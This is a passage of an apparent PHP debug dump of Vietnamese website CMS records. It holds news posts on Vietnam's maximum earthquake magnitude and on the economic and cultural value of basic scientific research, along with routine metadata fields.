'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '925',
'rght' => '926',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$tinlq = array(
(int) 0 => array(
'Post' => array(
'id' => '416',
'name' => 'VN từng có động đất đến 8 độ Richter?',
'code' => null,
'alias' => 'vn-tung-co-dong-dat-den-8-do-richter',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div>
<div>
Ông Triều nói:</div>
<div>
<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br />
</div>
<div>
- Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div>
<div>
</div>
<div>
Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div>
<div>
</div>
<div>
<strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div>
<div>
</div>
<div>
- Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div>
<div>
</div>
<div>
Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div>
<div>
</div>
<div>
<strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div>
<div>
</div>
<div>
- Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div>
<div>
</div>
<div>
Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div>
<div>
</div>
<div>
<strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div>
<div>
</div>
<div>
- Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div>
<div>
</div>
<div>
<strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div>
<div>
</div>
<div>
- Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div>
<div>
</div>
<div>
<strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div>
<div>
</div>
<div>
- VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div>
<div>
</div>
<div>
Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div>
',
'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-21',
'modified' => '2025-08-18',
'status' => '1',
'view' => '108261',
'slug' => 'vn-tung-co-dong-dat-den-8-do-richter',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '721',
'rght' => '722',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '415',
'name' => 'Vai trò của khoa học cơ bản?',
'code' => null,
'alias' => 'vai-tro-cua-khoa-hoc-co-ban',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div>
<div>
“Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div>
<div>
Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div>
<div>
</div>
<div>
<strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div>
<div>
<br />
Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div>
<div>
Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div>
<div>
<br />
<img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br />
</div>
<div>
C.H. Llewellyn Smith</div>
<div>
<br />
Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div>
<div>
Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div>
<div>
Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div>
<div>
Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div>
<div>
Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div>
<div>
Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div>
<div>
Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div>
<div>
</div>
<div>
<strong>2. Lợi ích của khoa học cơ bản</strong></div>
<div>
<br />
Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div>
<div>
Những đóng góp cho văn hóa.</div>
<div>
Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div>
<div>
Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div>
<div>
Giáo dục.</div>
<div>
<br />
<strong>2.1. Những đóng góp cho văn hóa.</strong></div>
<div>
<br />
Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div>
<div>
Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div>
<div>
Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div>
<div>
Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div>
<div>
Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div>
<div>
<br />
<strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div>
<div>
<br />
Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div>
<div>
“Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div>
<div>
Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div>
<div>
Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div>
<div>
Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div>
<div>
Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div>
<div>
Những ví dụ của Casimir có một số đặc điểm chung :</div>
<div>
Những ứng dụng của kiến thức mới có lợi nhuận cao.</div>
<div>
Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div>
<div>
Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div>
<div>
Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div>
<div>
Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div>
<div>
1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div>
<div>
<br />
<strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div>
<div>
<br />
Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div>
<div>
Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div>
<div>
- Ngành công nghiệp bán dẫn. </div>
<div>
- Thức ăn tiệt trùng, y tế, rác thải.</div>
<div>
- Xử lý bức xạ. </div>
<div>
- Liệu pháp điều trị ung thư. </div>
<div>
- Tiêu hủy rác thải hạt nhân. </div>
<div>
- Thí nghiệm không phá mẫu. </div>
<div>
- Sản xuất năng lượng (máy khuếch đại năng lượng)</div>
<div>
- Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div>
<div>
- Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div>
<div>
Máy dò hạt.</div>
<div>
- Máy dò tinh thể</div>
<div>
(Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div>
<div>
- Ảnh y tế</div>
<div>
- An ninh</div>
<div>
- Thí nghiệm không phá mẫu</div>
<div>
- Phục vụ nghiên cứu</div>
<div>
- Ổ tỉ lệ đa đường dây</div>
<div>
- Kiểm tra container</div>
<div>
- Phục vụ nghiên cứu</div>
<div>
- Máy dò chất bán dẫn</div>
<div>
- Rất nhiều ứng dụng trong giai đoạn phát triển.</div>
<div>
Khoa học thông tin</div>
<div>
+WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div>
<div>
+ Chương trình mô phỏng</div>
<div>
+ Phát hiện lỗi</div>
<div>
+ Hệ điều hành</div>
<div>
+ Kích thích tính toán song song.</div>
<div>
- Chất siêu dẫn</div>
<div>
Ảnh cộng hưởng từ hạt nhân</div>
<div>
Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div>
<div>
Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div>
<div>
Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div>
<div>
<br />
<strong>2.4. Giáo dục</strong></div>
<div>
<br />
Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div>
<div>
Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div>
<div>
Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div>
<div>
--------------------------</div>
<div>
1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div>
<div>
2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div>
<div>
3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div>
<div>
H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div>
<div>
4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div>
<div>
</div>
<div>
THANH LOAN (lược thuật)</div>
',
'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-20',
'modified' => '2025-08-18',
'status' => '1',
'view' => '66693',
'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '719',
'rght' => '720',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '414',
'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt',
'code' => null,
'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
